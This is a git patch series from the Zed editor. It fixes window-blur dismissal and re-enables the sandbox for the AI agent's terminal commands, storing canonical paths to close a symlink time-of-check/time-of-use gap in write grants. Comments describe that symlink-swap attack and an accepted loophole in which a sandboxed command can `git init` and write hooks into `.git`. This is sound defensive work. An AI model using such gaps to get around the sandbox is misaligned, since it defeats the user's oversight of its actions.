([#39286](https://github.com/zed-industries/zed/issues/39286)).

---------

Co-authored-by: MrSubidubi <finn@zed.dev>
---
 crates/collab_ui/src/collab_panel.rs          |  4 ++-
 crates/go_to_line/src/go_to_line.rs           |  4 +--
 crates/project_panel/src/project_panel.rs     |  2 +-
 .../project_panel/src/project_panel_tests.rs  | 32 +++++++++++++++++++
 4 files changed, 38 insertions(+), 4 deletions(-)

diff --git a/crates/collab_ui/src/collab_panel.rs b/crates/collab_ui/src/collab_panel.rs
index 5a52afc7cbe4bb..3e3201f81013f4 100644
--- a/crates/collab_ui/src/collab_panel.rs
+++ b/crates/collab_ui/src/collab_panel.rs
@@ -396,7 +396,9 @@ impl CollabPanel {
                 &channel_name_editor,
                 window,
                 |this: &mut Self, _, event, window, cx| {
-                    if let editor::EditorEvent::Blurred = event {
+                    if let editor::EditorEvent::Blurred = event
+                        && window.is_window_active()
+                    {
                         if let Some(state) = &this.channel_editing_state
                             && state.pending_name().is_some()
                         {
diff --git a/crates/go_to_line/src/go_to_line.rs b/crates/go_to_line/src/go_to_line.rs
index de80a5af01d759..48017a6e6a6b75 100644
--- a/crates/go_to_line/src/go_to_line.rs
+++ b/crates/go_to_line/src/go_to_line.rs
@@ -166,11 +166,11 @@ impl GoToLine {
         &mut self,
         _: &Entity<Editor>,
         event: &editor::EditorEvent,
-        _window: &mut Window,
+        window: &mut Window,
         cx: &mut Context<Self>,
     ) {
         match event {
-            editor::EditorEvent::Blurred => {
+            editor::EditorEvent::Blurred if window.is_window_active() => {
                 self.prev_scroll_position.take();
                 cx.emit(DismissEvent)
             }
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 1dcb28933b5b60..9f79115d282b7d 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -778,7 +778,7 @@ impl ProjectPanel {
                     EditorEvent::SelectionsChanged { .. } => {
                         project_panel.autoscroll(cx);
                     }
-                    EditorEvent::Blurred => {
+                    EditorEvent::Blurred if window.is_window_active() => {
                         if project_panel
                             .state
                             .edit_state
diff --git a/crates/project_panel/src/project_panel_tests.rs b/crates/project_panel/src/project_panel_tests.rs
index 0ab83a1cd3db2e..64285792d756e6 100644
--- a/crates/project_panel/src/project_panel_tests.rs
+++ b/crates/project_panel/src/project_panel_tests.rs
@@ -4563,6 +4563,38 @@ async fn test_drag_including_worktree_root_only_reorders(cx: &mut gpui::TestAppC
     );
 }
 
+#[gpui::test]
+async fn test_rename_survives_window_deactivation(cx: &mut gpui::TestAppContext) {
+    init_test_with_editor(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree("/root", json!({ "file1.txt": "content" }))
+        .await;
+
+    let project = Project::test(fs.clone(), ["/root".as_ref()], cx).await;
+    let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let workspace = window
+        .read_with(cx, |mw, _| mw.workspace().clone())
+        .unwrap();
+    let cx = &mut VisualTestContext::from_window(window.into(), cx);
+    let panel = workspace.update_in(cx, ProjectPanel::new);
+    cx.run_until_parked();
+
+    select_path(&panel, "root/file1.txt", cx);
+    panel.update_in(cx, |panel, window, cx| panel.rename(&Rename, window, cx));
+    assert!(
+        panel.read_with(cx, |panel, _| panel.state.edit_state.is_some()),
+        "Rename should have started"
+    );
+
+    cx.deactivate_window();
+
+    assert!(
+        panel.read_with(cx, |panel, _| panel.state.edit_state.is_some()),
+        "Rename should not be cancelled when the window is deactivated, e.g. by a keyboard layout switcher grabbing keyboard focus"
+    );
+}
+
 #[gpui::test]
 async fn test_multiple_marked_entries(cx: &mut gpui::TestAppContext) {
     init_test_with_editor(cx);

From 12a19dccef81f85fa2ca07aee37499f659ed0942 Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Wed, 29 Jul 2026 14:03:22 +0100
Subject: [PATCH 760/772] agent: Re-enable sandbox (#61711)

Fixes the bug that made us remove the sandbox.

The bug in question was very dumb:
- there is sophisticated machinery for detecting whether a user-granted
writable path is swapped out for a symlink in the timing gap between
approval and sandbox creation
- there was no equivalent machinery to do the same for the (much larger)
gap between a user *persisting an approval* (either for the current
thread or permanently via settings)
- The fix is essentially to store canonical (i.e. absolute and
symlink-free at all depths) paths as the source of truth, but retain the
raw path for display purposes
- On WSL, there is extra care needed becasue of the bidirectional
mounting (i.e. `/mnt/c/...` and `\\wsl.localhost\Ubuntu\...`). In
particular, `/mnt/c/...` paths, since their inodes do not necessarily
pin NTFS file references, weaken the sandbox guarantees, and so we need
some extra UI to call this out and docs etc...

This also does not remove the feature flag, but just toggles it to
"enabled_for_all"

---

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: Richard Feldman <oss@rtfeldman.com>
Co-authored-by: Jakub Konka <kubkon@jakubkonka.com>
Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 Cargo.lock                                    |   1 +
 crates/acp_thread/src/acp_thread.rs           |   7 +-
 crates/acp_thread/src/terminal.rs             | 234 +++++++-
 crates/agent/src/db.rs                        |  19 +-
 crates/agent/src/sandboxing.rs                | 148 +++--
 crates/agent/src/templates.rs                 |  53 +-
 crates/agent/src/templates/system_prompt.hbs  |   4 +-
 crates/agent/src/tests/mod.rs                 |  10 +-
 crates/agent/src/thread.rs                    |  98 +++-
 .../agent/src/tools/create_directory_tool.rs  |  49 +-
 crates/agent/src/tools/terminal_tool.rs       | 106 +++-
 crates/agent_settings/src/agent_settings.rs   | 141 ++++-
 .../src/conversation_view/thread_view.rs      | 292 +++++++---
 crates/feature_flags/src/flags.rs             |   4 +
 crates/sandbox/Cargo.toml                     |   3 +
 crates/sandbox/README.md                      |  88 ++-
 crates/sandbox/src/bwrap_test_helper.rs       |  50 +-
 crates/sandbox/src/linux_bubblewrap.rs        | 125 +++--
 crates/sandbox/src/sandbox.rs                 | 393 +++----------
 crates/sandbox/src/util.rs                    | 123 ++++
 crates/sandbox/src/util/canonical_path.rs     | 359 ++++++++++++
 .../src/util/host_filesystem_location.rs      | 531 ++++++++++++++++++
 crates/sandbox/src/windows_wsl.rs             | 294 +++++++++-
 crates/sandbox/src/wsl_sandbox_test_helper.rs |   2 +-
 crates/settings/src/granted_write_path.rs     | 125 +++++
 crates/settings/src/settings.rs               |   2 +
 crates/settings_content/src/agent.rs          | 246 +++++++-
 .../settings_ui/src/pages/sandbox_settings.rs |  60 +-
 docs/src/ai/sandboxing.md                     |  90 ++-
 nix/tests/sandboxing/default.nix              |  23 +
 30 files changed, 3075 insertions(+), 605 deletions(-)
 create mode 100644 crates/sandbox/src/util.rs
 create mode 100644 crates/sandbox/src/util/canonical_path.rs
 create mode 100644 crates/sandbox/src/util/host_filesystem_location.rs
 create mode 100644 crates/settings/src/granted_write_path.rs

diff --git a/Cargo.lock b/Cargo.lock
index 3ae2da68989a14..9e20c4aff02823 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -16149,6 +16149,7 @@ version = "0.1.0"
 dependencies = [
  "anyhow",
  "futures 0.3.32",
+ "gpui",
  "http_proxy",
  "libc",
  "log",
diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 8c711bd916f67a..38a9be329456f5 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -182,7 +182,12 @@ pub struct SandboxAuthorizationDetails {
     #[serde(default)]
     pub unsandboxed: bool,
     #[serde(default)]
-    pub write_paths: Vec<PathBuf>,
+    pub write_paths: Vec<settings::GrantedWritePath>,
+    /// Windows/WSL only: the command will write to a path on a Windows drive
+    /// (DrvFs), whose sandbox-integrity guarantees are weaker. Drives the
+    /// weaker-guarantee warning banner in the approval prompt.
+    #[serde(default)]
+    pub warn_windows_fs: bool,
     /// The agent-provided justification for requesting these permissions,
     /// shown to the user (attributed to the agent) in the approval prompt.
     #[serde(default)]
diff --git a/crates/acp_thread/src/terminal.rs b/crates/acp_thread/src/terminal.rs
index cce475268e68aa..e52a3367a88f8f 100644
--- a/crates/acp_thread/src/terminal.rs
+++ b/crates/acp_thread/src/terminal.rs
@@ -43,7 +43,12 @@ pub struct SandboxWrap {
     /// to make the trust boundary explicit: these originate from
     /// model-requested paths that passed a user-approval prompt. They are
     /// merged with `writable_paths` when generating the sandbox policy.
-    pub extra_write_paths: Vec<PathBuf>,
+    ///
+    /// Each grant carries the canonical target it resolved to at approval
+    /// time; enforcement rebuilds the location via a verifying reopen (see
+    /// [`granted_write_path_to_location`]) rather than re-resolving the bare
+    /// requested path, which closes a symlink TOCTOU.
+    pub extra_write_paths: Vec<settings::GrantedWritePath>,
     /// Outbound network access explicitly approved for this command.
     pub network: SandboxNetworkAccess,
     /// Additional paths that should remain readable but not writable, even when
@@ -156,6 +161,51 @@ impl LinuxWslSandboxError {
     }
 }
 
+/// Rebuild a user-approved write grant into an enforceable
+/// [`sandbox::HostFilesystemLocation`].
+///
+/// When the grant carries a resolved canonical (the normal case, established at
+/// approval time), the location is rebuilt via a verifying
+/// [`sandbox::HostFilesystemLocation::reopen`] — the load-bearing step of the
+/// TOCTOU fix. A legacy bare-string grant (no resolved canonical) falls back to
+/// a fresh [`sandbox::HostFilesystemLocation::capture`].
+pub fn granted_write_path_to_location(
+    granted: &settings::GrantedWritePath,
+) -> std::io::Result<sandbox::HostFilesystemLocation> {
+    match &granted.resolved {
+        Some(resolved) => sandbox::HostFilesystemLocation::reopen(&granted.requested, resolved),
+        None => sandbox::HostFilesystemLocation::capture(&granted.requested),
+    }
+}
+
+/// Rebuild a grant for enforcement, or log and drop it (fail-closed) if it
+/// can't be verified.
+///
+/// A failure here is frequently the symlink-TOCTOU defense firing: the grant's
+/// canonical was redirected or replaced by a symlink since approval, so
+/// [`sandbox::HostFilesystemLocation::reopen`] refuses it. That is a
+/// security-relevant event, so it must be logged rather than silently
+/// swallowed. The grant is dropped (the command runs without it) rather than
+/// bound unverified.
+///
+/// Only for **display** policies (the sandbox-status UI), where a stale grant
+/// should simply not be shown. Enforcement must not drop grants silently — a
+/// command would run with less access than the user approved with no signal —
+/// so [`SandboxWrap::to_policy`] uses the erroring
+/// [`granted_write_path_to_location`] instead.
+pub fn granted_write_path_to_location_or_log(
+    granted: &settings::GrantedWritePath,
+) -> Option<sandbox::HostFilesystemLocation> {
+    granted_write_path_to_location(granted)
+        .inspect_err(|error| {
+            log::warn!(
+                "dropping sandbox write grant {}: {error}",
+                granted.requested.display()
+            );
+        })
+        .ok()
+}
+
 impl SandboxWrap {
     /// Whether the OS sandbox for this request can actually be created right now,
     /// returning a structured [`LinuxWslSandboxError`] when it can't.
@@ -167,43 +217,88 @@ impl SandboxWrap {
     /// Linux, so call it off the main thread. On platforms whose sandbox can't
     /// fail to set up this way it always returns `Ok`.
     pub fn can_create_sandbox(&self) -> Result<(), LinuxWslSandboxError> {
-        sandbox::Sandbox::can_create(&self.to_policy()).map_err(LinuxWslSandboxError::from)
+        let policy = self
+            .to_policy()
+            .map_err(|error| LinuxWslSandboxError::Other(format!("{error:#}")))?;
+        sandbox::Sandbox::can_create(&policy).map_err(LinuxWslSandboxError::from)
     }
 
     /// Translate this request into the cross-platform [`sandbox::SandboxPolicy`].
     ///
     /// This is the enforcement-policy construction point, so it **captures** each
     /// grant as a [`sandbox::HostFilesystemLocation`] (pinning the inode / canonical
-    /// path) rather than passing a re-resolvable path. A location that can't be
-    /// captured (e.g. it doesn't exist) is dropped from the grant — fail-closed.
+    /// path) rather than passing a re-resolvable path.
+    ///
+    /// This function has **no filesystem side effects**: it never creates paths,
+    /// and it **fails** (rather than silently narrowing the policy) when a
+    /// writable path or approved grant can't be captured — running anyway would
+    /// give the command silently less access than the model and user were told
+    /// it has. On Linux a writable grant that doesn't exist can't be captured
+    /// (bwrap can't bind a missing path); the sanctioned way to get a grant to a
+    /// new directory is the `create_directory` tool, which creates it (pinning
+    /// the inode) before the grant is recorded. On macOS a missing leaf still
+    /// canonicalizes, so such grants are captured directly.
     ///
-    /// This function has **no filesystem side effects**: it never creates paths.
     /// It is used both by the side-effect-free [`Self::can_create_sandbox`] probe
-    /// and by real sandbox construction, and must behave identically. On Linux a
-    /// writable grant that doesn't exist yet simply can't be captured (bwrap
-    /// can't bind a missing path), so it's dropped here — the sanctioned way to
-    /// get a grant to a new directory is the `create_directory` tool, which
-    /// creates it (pinning the inode) before the grant is recorded. On macOS a
-    /// missing leaf still canonicalizes, so such grants are captured directly.
-    fn to_policy(&self) -> sandbox::SandboxPolicy {
+    /// and by real sandbox construction, and must behave identically.
+    ///
+    /// A grant failure here can also be the symlink-TOCTOU defense firing: the
+    /// grant's canonical was redirected or replaced by a symlink since approval,
+    /// so the verifying reopen refuses it. Failing the command surfaces that
+    /// security-relevant event instead of running with the grant quietly
+    /// missing.
+    ///
+    /// Protected paths, by contrast, are **best-effort**: we protect only the
+    /// ones that exist at creation time (`capture` succeeding *is* the existence
+    /// check), and silently drop the rest. Unlike a writable grant, a protection
+    /// can't be materialized — you can't pin the inode of a path that isn't
+    /// there — and there is an inherent, *accepted* loophole regardless: a
+    /// command in a non-git directory can `git init` and write hooks into a
+    /// `.git` that didn't exist when the sandbox was built. Since the protection
+    /// is defeatable that way no matter what, failing sandbox creation over a
+    /// currently-absent (or otherwise uncapturable) `.git` would only break
+    /// legitimate cases — non-git projects, single-file worktrees whose
+    /// synthesized `settings.json/.git` routes through a file — without closing
+    /// the hole. So we drop and move on.
+    fn to_policy(&self) -> Result<sandbox::SandboxPolicy> {
         let protected_paths = self
             .protected_paths
             .iter()
-            .filter_map(|path| sandbox::HostFilesystemLocation::new(path).ok())
-            .collect();
+            .filter_map(|path| sandbox::HostFilesystemLocation::capture(path).ok())
+            .collect::<Vec<_>>();
         let fs = if self.allow_fs_write {
             sandbox::SandboxFsPolicy::Unrestricted { protected_paths }
         } else {
-            let writable_paths = self
-                .writable_paths
-                .iter()
-                .chain(self.extra_write_paths.iter())
-                // Capture only — never create anything here (see the doc comment):
-                // materializing an approved-but-missing grant is deferred to
-                // `Sandbox::new` so it can never happen during the `can_create`
-                // probe, before the user has approved the grant.
-                .filter_map(|path| sandbox::HostFilesystemLocation::new(path).ok())
-                .collect();
+            // Project worktree paths are captured fresh; user-approved grants are
+            // rebuilt via the verifying reopen (or captured when legacy bare
+            // strings) through `granted_write_path_to_location`. A path that
+            // can't be captured fails the whole construction (never created).
+            let mut locations = Vec::new();
+            for path in &self.writable_paths {
+                let location = sandbox::HostFilesystemLocation::capture(path).map_err(|error| {
+                    anyhow::anyhow!(error).context(format!(
+                        "cannot capture writable sandbox path `{}`",
+                        path.display()
+                    ))
+                })?;
+                locations.push(location);
+            }
+            for granted in &self.extra_write_paths {
+                let location = granted_write_path_to_location(granted).map_err(|error| {
+                    anyhow::anyhow!(error).context(format!(
+                        "cannot re-verify approved sandbox write grant `{}` (if the \
+                         directory was removed, remove the grant or recreate the \
+                         directory)",
+                        granted.requested.display()
+                    ))
+                })?;
+                locations.push(location);
+            }
+            // Dedupe to a minimal cover on the captured canonical paths, so a
+            // grant nested under a worktree root (or another grant) is dropped
+            // rather than bound redundantly.
+            let writable_paths =
+                sandbox::normalize_host_filesystem_locations(locations.into_iter());
             sandbox::SandboxFsPolicy::Restricted {
                 writable_paths,
                 protected_paths,
@@ -220,7 +315,7 @@ impl SandboxWrap {
                     .collect(),
             },
         };
-        sandbox::SandboxPolicy { fs, network }
+        Ok(sandbox::SandboxPolicy { fs, network })
     }
 }
 
@@ -282,7 +377,7 @@ pub(crate) async fn prepare_sandbox_wrap(
     };
 
     let mut sandbox =
-        sandbox::Sandbox::new(sandbox_wrap.to_policy()).map_err(anyhow::Error::new)?;
+        sandbox::Sandbox::new(sandbox_wrap.to_policy()?).map_err(anyhow::Error::new)?;
     // Windows/WSL only: tell the sandbox which Linux `zed` to provision inside
     // WSL as its `--wsl-sandbox-helper`. A no-op (and a no-op setter) elsewhere.
     #[cfg(target_os = "windows")]
@@ -570,3 +665,90 @@ pub async fn create_terminal_entity(
         })
         .await
 }
+
+#[cfg(all(test, target_os = "linux"))]
+mod linux_tests {
+    use super::*;
+
+    /// Regression test for the bug where enforcement-policy construction
+    /// *created* missing write grants — famously turning a granted
+    /// `~/.config/zed/AGENTS.md` file path into a directory. A grant whose
+    /// target no longer exists must fail policy construction with an error
+    /// naming it, and nothing may be created — a required safety grant that
+    /// can't be honored must stop the command, not silently shrink its access.
+    #[test]
+    fn to_policy_fails_on_missing_grant_and_never_creates_it() {
+        let temp_dir = tempfile::tempdir().expect("create temp dir");
+        let missing = temp_dir.path().join("AGENTS.md");
+
+        let wrap = SandboxWrap {
+            extra_write_paths: vec![settings::GrantedWritePath::resolved(
+                missing.clone(),
+                missing.clone(),
+            )],
+            ..Default::default()
+        };
+
+        let error = wrap
+            .to_policy()
+            .expect_err("a grant to a missing path must fail policy construction");
+        assert!(
+            format!("{error:#}").contains("AGENTS.md"),
+            "error should name the failing grant: {error:#}"
+        );
+        assert!(
+            !missing.exists(),
+            "policy construction must never create the granted path"
+        );
+    }
+
+    /// A baseline writable path (worktree root / scratch dir) that doesn't
+    /// exist must also fail: silently narrowing the sandbox would hand the
+    /// command less access than the model was told it has.
+    #[test]
+    fn to_policy_fails_on_missing_writable_path() {
+        let temp_dir = tempfile::tempdir().expect("create temp dir");
+        let missing = temp_dir.path().join("gone");
+
+        let wrap = SandboxWrap {
+            writable_paths: vec![missing.clone()],
+            ..Default::default()
+        };
+
+        wrap.to_policy()
+            .expect_err("a missing writable path must fail policy construction");
+        assert!(
+            !missing.exists(),
+            "policy construction must never create a writable path"
+        );
+    }
+
+    /// Protected paths are best-effort: an uncapturable one is dropped, never
+    /// fatal. That covers a missing path (`NotFound`) and one routed through a
+    /// regular file (`NotADirectory`) — the latter is the synthesized `.git` of
+    /// a single-file worktree (e.g. `settings.json/.git`). Unlike a writable
+    /// grant, a protection can't be materialized, and `.git` protection has an
+    /// inherent accepted loophole (`git init`), so failing here would only break
+    /// legitimate cases. Unit-level companion to the `settings.json/.git` NixOS
+    /// check.
+    #[test]
+    fn to_policy_skips_uncapturable_protected_paths() {
+        let temp_dir = tempfile::tempdir().expect("create temp dir");
+        let writable = temp_dir.path().join("writable");
+        std::fs::create_dir(&writable).expect("create writable dir");
+        let single_file_root = temp_dir.path().join("settings.json");
+        std::fs::write(&single_file_root, b"{}").expect("create single-file worktree root");
+
+        let wrap = SandboxWrap {
+            writable_paths: vec![writable],
+            protected_paths: vec![
+                temp_dir.path().join("no-such-.git"),
+                single_file_root.join(".git"),
+            ],
+            ..Default::default()
+        };
+
+        wrap.to_policy()
+            .expect("uncapturable protected paths must be dropped, not fail the policy");
+    }
+}
diff --git a/crates/agent/src/db.rs b/crates/agent/src/db.rs
index 8e17b2905484ff..0dd91bfdea5345 100644
--- a/crates/agent/src/db.rs
+++ b/crates/agent/src/db.rs
@@ -93,9 +93,13 @@ pub struct DbThread {
 /// thread blob; round-trips with [`crate::sandboxing::ThreadSandboxGrants`].
 #[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)]
 pub struct DbSandboxGrants {
-    /// Canonicalized paths granted write access; each covers its whole subtree.
+    /// Paths granted write access, each paired with the canonical
+    /// (symlink-resolved) target established when the grant was approved; each
+    /// covers its whole subtree. Legacy rows stored a bare path string per
+    /// entry, which still deserializes (as a grant with no resolved canonical)
+    /// via [`settings::GrantedWritePath`]'s string-or-object format.
     #[serde(default)]
-    pub write_paths: Vec<PathBuf>,
+    pub write_paths: Vec<settings::GrantedWritePath>,
     /// Host patterns granted network access, in canonical string form (e.g.
     /// `github.com`, `*.npmjs.org`). Parsed back into patterns on load.
     #[serde(default)]
@@ -947,7 +951,16 @@ mod tests {
             Utc.with_ymd_and_hms(2024, 1, 1, 0, 0, 0).unwrap(),
         );
         let grants = DbSandboxGrants {
-            write_paths: vec![PathBuf::from("/tmp/build")],
+            write_paths: vec![
+                // A legacy bare-string grant (no resolved canonical) and a grant
+                // carrying its resolved canonical, to exercise both forms of the
+                // string-or-object round-trip.
+                settings::GrantedWritePath::from_requested(PathBuf::from("/tmp/build")),
+                settings::GrantedWritePath::resolved(
+                    PathBuf::from("/tmp/link"),
+                    PathBuf::from("/tmp/real"),
+                ),
+            ],
             network_hosts: vec!["github.com".to_string(), "*.npmjs.org".to_string()],
             network_any_host: false,
             allow_fs_write_all: false,
diff --git a/crates/agent/src/sandboxing.rs b/crates/agent/src/sandboxing.rs
index f36fe6f32b3884..da160b27502960 100644
--- a/crates/agent/src/sandboxing.rs
+++ b/crates/agent/src/sandboxing.rs
@@ -31,7 +31,7 @@ use gpui::App;
 use http_proxy::HostPattern;
 use project::Project;
 use sandbox::{HostFilesystemLocation, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
-use settings::Settings;
+use settings::{GrantedWritePath, Settings};
 use std::path::PathBuf;
 
 /// The directory subtrees the sandbox always grants write access to for a
@@ -58,6 +58,14 @@ pub fn sandbox_git_dirs(project: &Project, cx: &App) -> Vec<PathBuf> {
         let worktree_abs_path = worktree.abs_path();
         // Protect `<worktree>/.git` even when it doesn't exist yet, so a command
         // can't `git init` and then write to the freshly created metadata.
+        //
+        // We don't gate this on the worktree's scanned root being a directory:
+        // that state can be stale/pending, and for a *single-file* worktree
+        // (e.g. `settings.json` opened on its own) this synthesizes
+        // `settings.json/.git`, which can never exist. That impossible path is
+        // resolved authoritatively at capture time — the real filesystem
+        // reports `NotADirectory`, and `SandboxWrap::to_policy` skips a
+        // protected path that can't exist — so it never reaches enforcement.
         git_dirs.push(worktree_abs_path.join(".git"));
         if let Some(root_repo_common_dir) = worktree.root_repo_common_dir() {
             git_dirs.push(root_repo_common_dir.to_path_buf());
@@ -125,7 +133,7 @@ impl ThreadSandbox {
                 // path). A location that can't be captured is dropped — fail-closed.
                 let protected_paths = protected_paths
                     .into_iter()
-                    .filter_map(|path| HostFilesystemLocation::new(path).ok())
+                    .filter_map(|path| HostFilesystemLocation::capture(path).ok())
                     .collect();
                 ThreadSandbox::Sandboxed(policy.with_protected_paths(protected_paths))
             }
@@ -156,11 +164,17 @@ pub fn settings_sandbox_policy(persistent: &SandboxPermissions) -> SandboxPolicy
         }
     } else {
         SandboxFsPolicy::Restricted {
-            writable_paths: persistent
-                .write_paths
-                .iter()
-                .filter_map(|path| HostFilesystemLocation::new(path).ok())
-                .collect(),
+            // Route each grant through the verifying reopen (or a fresh capture
+            // for legacy bare-string grants) so the enforced path is the one
+            // vetted at approval time. A grant that fails to reopen is logged
+            // and dropped (fail-closed) rather than silently swallowed, then the
+            // survivors are reduced to a minimal cover on their canonical paths.
+            writable_paths: sandbox::normalize_host_filesystem_locations(
+                persistent
+                    .write_paths
+                    .iter()
+                    .filter_map(acp_thread::granted_write_path_to_location_or_log),
+            ),
             protected_paths: Vec::new(),
         }
     };
@@ -264,9 +278,10 @@ pub(crate) struct SandboxRequest {
     pub allow_fs_write_all: bool,
     /// Run the command fully outside the sandbox.
     pub unsandboxed: bool,
-    /// Concrete paths the command needs to write to. Each grants its whole
+    /// Concrete paths the command needs to write to, each paired with the
+    /// canonical target resolved at approval time. Each grants its whole
     /// subtree. These are never globs — write access is always a concrete path subtree
-    pub write_paths: Vec<PathBuf>,
+    pub write_paths: Vec<GrantedWritePath>,
 }
 
 impl SandboxRequest {
@@ -302,9 +317,10 @@ pub(crate) struct ThreadSandboxGrants {
     /// `unsandboxed`, which records a model-requested escape; this is a
     /// user-acknowledged degradation because the sandbox is unavailable.
     sandbox_fallback: bool,
-    /// Canonicalized paths granted write access for the thread. Each covers its
-    /// whole subtree; redundant children are pruned on insert.
-    write_paths: Vec<PathBuf>,
+    /// Paths granted write access for the thread, each paired with the canonical
+    /// target resolved at approval time. Each covers its whole subtree; redundant
+    /// children are pruned on insert (by canonical target).
+    write_paths: Vec<GrantedWritePath>,
 }
 
 impl ThreadSandboxGrants {
@@ -344,13 +360,13 @@ impl ThreadSandboxGrants {
         if self.allow_fs_write_all || persistent.allow_fs_write_all {
             return true;
         }
-        request.write_paths.iter().all(|requested| {
+        request.write_paths.iter().all(|request| {
             util::paths::path_within_subtree(
-                requested,
+                request.canonical_or_requested(),
                 self.write_paths
                     .iter()
                     .chain(persistent.write_paths.iter())
-                    .map(PathBuf::as_path),
+                    .map(|granted| granted.canonical_or_requested()),
             )
         })
     }
@@ -426,11 +442,17 @@ impl ThreadSandboxGrants {
             }
         } else {
             SandboxFsPolicy::Restricted {
-                writable_paths: self
-                    .write_paths
-                    .iter()
-                    .filter_map(|path| HostFilesystemLocation::new(path).ok())
-                    .collect(),
+                // Route each grant through the verifying reopen (or a fresh
+                // capture for legacy bare-string grants) so the enforced path is
+                // the one vetted at approval time. A grant that fails to reopen
+                // is logged and dropped (fail-closed) rather than silently
+                // swallowed, then the survivors are reduced to a minimal cover
+                // on their canonical paths.
+                writable_paths: sandbox::normalize_host_filesystem_locations(
+                    self.write_paths
+                        .iter()
+                        .filter_map(acp_thread::granted_write_path_to_location_or_log),
+                ),
                 protected_paths: Vec::new(),
             }
         };
@@ -505,8 +527,8 @@ impl ThreadSandboxGrants {
         }
         self.allow_fs_write_all |= request.allow_fs_write_all;
         self.unsandboxed |= request.unsandboxed;
-        for path in &request.write_paths {
-            util::paths::insert_subtree(&mut self.write_paths, path.clone());
+        for granted in &request.write_paths {
+            insert_granted_subtree(&mut self.write_paths, granted.clone());
         }
     }
 
@@ -549,8 +571,8 @@ impl ThreadSandboxGrants {
         };
 
         let mut write_paths = persistent.write_paths.clone();
-        for path in self.write_paths.iter().chain(request.write_paths.iter()) {
-            util::paths::insert_subtree(&mut write_paths, path.clone());
+        for granted in self.write_paths.iter().chain(request.write_paths.iter()) {
+            insert_granted_subtree(&mut write_paths, granted.clone());
         }
         SandboxRequest {
             network,
@@ -581,6 +603,26 @@ fn parse_persistent_hosts(raw: &[String]) -> Vec<HostPattern> {
         .collect()
 }
 
+/// Insert `granted` into a write-grant set, keeping it minimal by comparing each
+/// entry's canonical (resolved) target. Mirrors [`util::paths::insert_subtree`]:
+/// skip the new grant if an existing entry's canonical is an ancestor-or-equal
+/// of it, and prune existing entries whose canonical descends from the new one.
+fn insert_granted_subtree(subtrees: &mut Vec<GrantedWritePath>, granted: GrantedWritePath) {
+    if subtrees.iter().any(|existing| {
+        granted
+            .canonical_or_requested()
+            .starts_with(existing.canonical_or_requested())
+    }) {
+        return;
+    }
+    subtrees.retain(|existing| {
+        !existing
+            .canonical_or_requested()
+            .starts_with(granted.canonical_or_requested())
+    });
+    subtrees.push(granted);
+}
+
 /// Insert `pattern` into a host-pattern set, keeping it minimal: skip it if an
 /// existing entry already subsumes it, and drop existing entries it subsumes.
 /// The host-pattern analogue of [`util::paths::insert_subtree`].
@@ -610,10 +652,28 @@ mod tests {
             network,
             allow_fs_write_all: all,
             unsandboxed: false,
-            write_paths: paths.iter().map(PathBuf::from).collect(),
+            write_paths: granted(paths),
         }
     }
 
+    /// Bare-string grants (no resolved canonical) for the lexical
+    /// coverage/record/dedup tests, which never build a real policy.
+    fn granted(paths: &[&str]) -> Vec<GrantedWritePath> {
+        paths
+            .iter()
+            .map(|p| GrantedWritePath::from_requested(PathBuf::from(p)))
+            .collect()
+    }
+
+    /// A grant carrying the resolved canonical of a real directory, for the
+    /// tests that build an actual policy (which reopens/captures real fds).
+    fn resolved_grant(dir: &Path) -> GrantedWritePath {
+        GrantedWritePath::resolved(
+            dir.to_path_buf(),
+            sandbox::resolve_canonical(dir).expect("resolve canonical temp dir"),
+        )
+    }
+
     fn unsandboxed_request() -> SandboxRequest {
         SandboxRequest {
             network: NetworkRequest::None,
@@ -636,7 +696,7 @@ mod tests {
             fs: SandboxFsPolicy::Restricted {
                 writable_paths: paths
                     .iter()
-                    .map(|p| HostFilesystemLocation::new(p).expect("capture temp dir"))
+                    .map(|p| HostFilesystemLocation::capture(p).expect("capture temp dir"))
                     .collect(),
                 protected_paths: Vec::new(),
             },
@@ -734,18 +794,23 @@ mod tests {
     fn thread_grants_to_policy_maps_paths_and_domains() {
         use sandbox::{SandboxFsPolicy, SandboxNetPolicy};
 
-        // `to_policy` captures real `HostFilesystemLocation`s, so use a real dir.
+        // `to_policy` reopens/captures real `HostFilesystemLocation`s, so use a
+        // real dir and a grant carrying its resolved canonical.
         let build_dir = tempfile::tempdir().expect("create temp build dir");
-        let build_path = build_dir.path().to_str().expect("utf-8 temp path");
 
         let mut grants = ThreadSandboxGrants::default();
-        grants.record(&request(hosts(&["github.com"]), false, &[build_path]));
+        grants.record(&SandboxRequest {
+            network: hosts(&["github.com"]),
+            allow_fs_write_all: false,
+            unsandboxed: false,
+            write_paths: vec![resolved_grant(build_dir.path())],
+        });
         let policy = grants.to_policy();
         assert_eq!(
             policy.fs,
             SandboxFsPolicy::Restricted {
                 writable_paths: vec![
-                    HostFilesystemLocation::new(build_dir.path()).expect("capture temp dir")
+                    HostFilesystemLocation::capture(build_dir.path()).expect("capture temp dir")
                 ],
                 protected_paths: Vec::new(),
             }
@@ -788,7 +853,7 @@ mod tests {
         // `settings_sandbox_policy` captures real `HostFilesystemLocation`s.
         let log_dir = tempfile::tempdir().expect("create temp log dir");
         let persistent = SandboxPermissions {
-            write_paths: vec![log_dir.path().to_path_buf()],
+            write_paths: vec![resolved_grant(log_dir.path())],
             network_hosts: vec!["*.npmjs.org".to_string()],
             ..Default::default()
         };
@@ -797,7 +862,7 @@ mod tests {
             policy.fs,
             SandboxFsPolicy::Restricted {
                 writable_paths: vec![
-                    HostFilesystemLocation::new(log_dir.path()).expect("capture temp dir")
